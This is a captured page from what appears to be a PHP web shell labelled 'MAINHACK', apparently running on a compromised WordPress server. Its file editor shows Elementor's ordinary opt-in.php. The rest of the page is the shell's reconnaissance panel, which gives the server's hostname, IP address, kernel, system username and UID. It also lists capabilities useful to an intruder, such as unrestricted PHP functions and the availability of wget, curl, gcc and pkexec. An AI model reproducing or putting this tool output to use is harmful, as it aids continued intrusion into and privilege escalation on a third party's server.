[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: opt-in.php
<?php namespace Elementor\Modules\AtomicWidgets; use Elementor\Core\Common\Modules\Ajax\Module as Ajax; use Elementor\Core\Experiments\Manager as Experiments_Manager; use Elementor\Modules\GlobalClasses\Module as GlobalClassesModule; use Elementor\Modules\NestedElements\Module as NestedElementsModule; use Elementor\Modules\AtomicWidgets\Module as AtomicWidgetsModule; use Elementor\Modules\Variables\Module as VariablesModule; use Elementor\Plugin; class Opt_In { const EXPERIMENT_NAME = 'e_opt_in_v4'; const OPT_OUT_FEATURES = [ self::EXPERIMENT_NAME, AtomicWidgetsModule::EXPERIMENT_NAME, GlobalClassesModule::NAME, VariablesModule::EXPERIMENT_NAME, ]; const OPT_IN_FEATURES = [ self::EXPERIMENT_NAME, 'container', NestedElementsModule::EXPERIMENT_NAME, AtomicWidgetsModule::EXPERIMENT_NAME, GlobalClassesModule::NAME, VariablesModule::EXPERIMENT_NAME, ]; public function init() { $this->register_feature(); add_action( 'elementor/ajax/register_actions', fn( Ajax $ajax ) => $this->add_ajax_actions( $ajax ) ); } private function register_feature() { Plugin::$instance->experiments->add_feature([ 'name' => self::EXPERIMENT_NAME, 'title' => esc_html__( 'Editor V4', 'elementor' ), 'description' => esc_html__( 'Enable Editor V4.', 'elementor' ), 'hidden' => true, 'default' => Experiments_Manager::STATE_INACTIVE, 'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA, ]); } private function opt_out_v4() { foreach ( self::OPT_OUT_FEATURES as $feature ) { $feature_key = Plugin::$instance->experiments->get_feature_option_key( $feature ); update_option( $feature_key, Experiments_Manager::STATE_INACTIVE ); } } private function opt_in_v4() { foreach ( self::OPT_IN_FEATURES as $feature ) { $feature_key = Plugin::$instance->experiments->get_feature_option_key( $feature ); update_option( $feature_key, Experiments_Manager::STATE_ACTIVE ); } } public function ajax_opt_out_v4() { if ( ! current_user_can( 'manage_options' ) ) { throw new \Exception( 'Permission denied' ); } $this->opt_out_v4(); } public function ajax_opt_in_v4() { if ( ! current_user_can( 'manage_options' ) ) { throw new \Exception( 'Permission denied' ); } $this->opt_in_v4(); } private function add_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'editor_v4_opt_in', fn() => $this->ajax_opt_in_v4() ); $ajax->register_ajax_action( 'editor_v4_opt_out', fn() => $this->ajax_opt_out_v4() ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002